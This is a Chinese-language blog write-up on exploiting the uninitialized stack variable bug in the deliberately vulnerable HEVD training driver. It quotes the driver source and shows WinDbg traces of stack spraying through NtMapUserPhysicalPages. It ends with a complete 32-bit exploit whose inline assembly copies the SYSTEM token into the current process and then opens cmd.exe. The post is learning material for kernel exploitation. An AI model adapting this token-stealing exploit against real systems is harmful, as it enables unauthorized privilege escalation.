Windows内核漏洞学习-未初始化栈变量利用

0x00:前言

今天继续学习HEVD的未初始化栈变量漏洞利用,根据我的经验,只要是没涉及到堆的,难度应该都是不大的。原文讲的肯定比我好,我这里主要描述出调试过程。

0x01:漏洞原理

首先看漏洞源码:

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

这里有安全与不安全的代码对比,在不安全的代码中,创建了一个局部变量但是没有初始化,安全的版本则进行了初始化为{0}。之后检验用户层输入的是否为魔数,如果是则进行该变量的Value和回调函数;如果不是魔数,则不填充。在最后有一个检查变量的回调函数是否为空,但是如果没有变量没有初始化,则毫无检查意义,甚至被作为漏洞点利用。这就是未初始化栈变量利用。

0x02:漏洞分析

首先在IDA中找到IOCTL码,然后输入正确的魔数进行访问测试。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3AynpoKu-1589783645860)(assets/1589779947514.png)]

#include<stdio.h>
#include<Windows.h>
 
HANDLE hDevice = NULL;
 
BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}
 
VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0;
 
    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
 
int main()
{
 
    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
 
    Trigger_shellcode();
 
    return 0;
}

运行后得到内核打印结果,可以看到魔数正确时,按流程在执行程序。

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8AB1B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8E2E2EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

但是由于内核栈上的垃圾值的原因,即使魔数不正确,这里也会进行Call来调用没有进行赋值的“回调函数”。这个值是不固定的,但是我们希望该值为Shellcode的函数地址。因此用到了栈喷射技术。

栈喷射

关于栈喷射技术的原理在这里有解释,它利用了一个文档中没有的函数 NtMapUserPhysicalPages ,该函数的具体功能我们不关心,但是它的一部分功能是可以拷贝输入的字节到内核栈上的一个本地缓冲区,最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节=>4096字节)。在这里足够了。

在Call回调函数的地方下一断点,进行栈喷射后观察。

VOID Trigger_shellcode()
{
	DWORD bReturn = 0;
	char buf[4] = { 0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;

	My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");

	if (NtMapUserPhysicalPages == NULL)
	{
		printf("[+]Failed to get MapUserPhysicalPages!!!\n");
		return;
	}

	PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
	memset(StackSpray, 0x41, 1024 * 4);

	printf("[+]Spray address is 0x%p\n", StackSpray);
	//将申请的空间全部填充为我们的Shellcode地址
	for (int i = 0; i < 1024; i++)
	{
		*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
	}
	//进行栈喷射
	NtMapUserPhysicalPages(NULL, 1024, StackSpray);
	DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

断点处可以看到,回调函数被喷射为了Shellcode 的地址,但是似乎可以看出来该喷射内容是随机的,具体的机制尚且还不清楚。目前只要记得有这一机制即可。

Breakpoint 0 hit
8e2e2f8e ff95f8feffff    call    dword ptr [ebp-108h]
kd> dd ebp-0x108
950589cc  008b13b1 008b13b1 008b13b1 008b13b1
950589dc  008b13b1 008b13b1 008b13b1 008b13b1
950589ec  008b13b1 008b13b1 008b13b1 008b13b1
950589fc  008b13b1 008b13b1 008b13b1 008b13b1
95058a0c  008b13b1 c0802000 95058a40 83e6e654
95058a1c  77c4a001 00000306 000001f9 000001f9
95058a2c  85a44220 00000000 008b13b1 00000005
95058a3c  c0802d08 95058a74 83e6d6cc 85e27340
kd> dd esp
950589b8  1b2bb339 87d74350 87d743c0 8e2e3ca4
950589c8  008b13b1 008b13b1 008b13b1 008b13b1
950589d8  008b13b1 008b13b1 008b13b1 008b13b1
950589e8  008b13b1 008b13b1 008b13b1 008b13b1
950589f8  008b13b1 008b13b1 008b13b1 008b13b1
95058a08  008b13b1 008b13b1 c0802000 95058a40
95058a18  83e6e654 77c4a001 00000306 000001f9
95058a28  000001f9 85a44220 00000000 008b13b1

最后利用成功。完整的利用代码附上。

在这里插入图片描述

#include <Windows.h>
#include <stdio.h>

HANDLE hDevice = NULL;

/************************************************************************/
/*                 Write by Thunder_J 2019.7                            */
/*               Uninitialized-Stack-Variable                           */
/************************************************************************/

typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
	IN PVOID          VirtualAddress,
	IN ULONG_PTR      NumberOfPages,
	IN OUT PULONG_PTR UserPfnArray);

VOID ShellCode()
{
	_asm
	{
		//int 3
		pushad
		mov eax, fs: [124h]		// Find the _KTHREAD structure for the current thread
		mov eax, [eax + 0x50]   // Find the _EPROCESS structure
		mov ecx, eax
		mov edx, 4				// edx = system PID(4)

		// The loop is to get the _EPROCESS of the system
		find_sys_pid :
		mov eax, [eax + 0xb8]	// Find the process activity list
		sub eax, 0xb8    		// List traversal
		cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
		jnz find_sys_pid

		// Replace the Token
		mov edx, [eax + 0xf8]
		mov[ecx + 0xf8], edx
		popad
		//int 3
		ret
	}
}

BOOL init()
{
	// Get HANDLE
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		return FALSE;
	}
	printf("[+]Success to get HANDLE!\n");
	return TRUE;
}


static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


VOID Trigger_shellcode()
{
	DWORD bReturn = 0;
	char buf[4] = { 0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;

	My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
		GetModuleHandle(L"ntdll"),
		"NtMapUserPhysicalPages");

	if (NtMapUserPhysicalPages == NULL)
	{
		printf("[+]Failed to get MapUserPhysicalPages!!!\n");
		return;
	}

	PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
	memset(StackSpray, 0x41, 1024 * 4);

	printf("[+]Spray address is 0x%p\n", StackSpray);

	for (int i = 0; i < 1024; i++)
	{
		*(PDWORD)(StackSpray + i) = (DWORD)&ShellCode;
	}

	NtMapUserPhysicalPages(NULL, 1024, StackSpray);
	DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

	if (init() == FALSE)
	{
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}

	Trigger_shellcode();

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");

	return 0;
}

明日计划

继续学习内核漏洞利用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章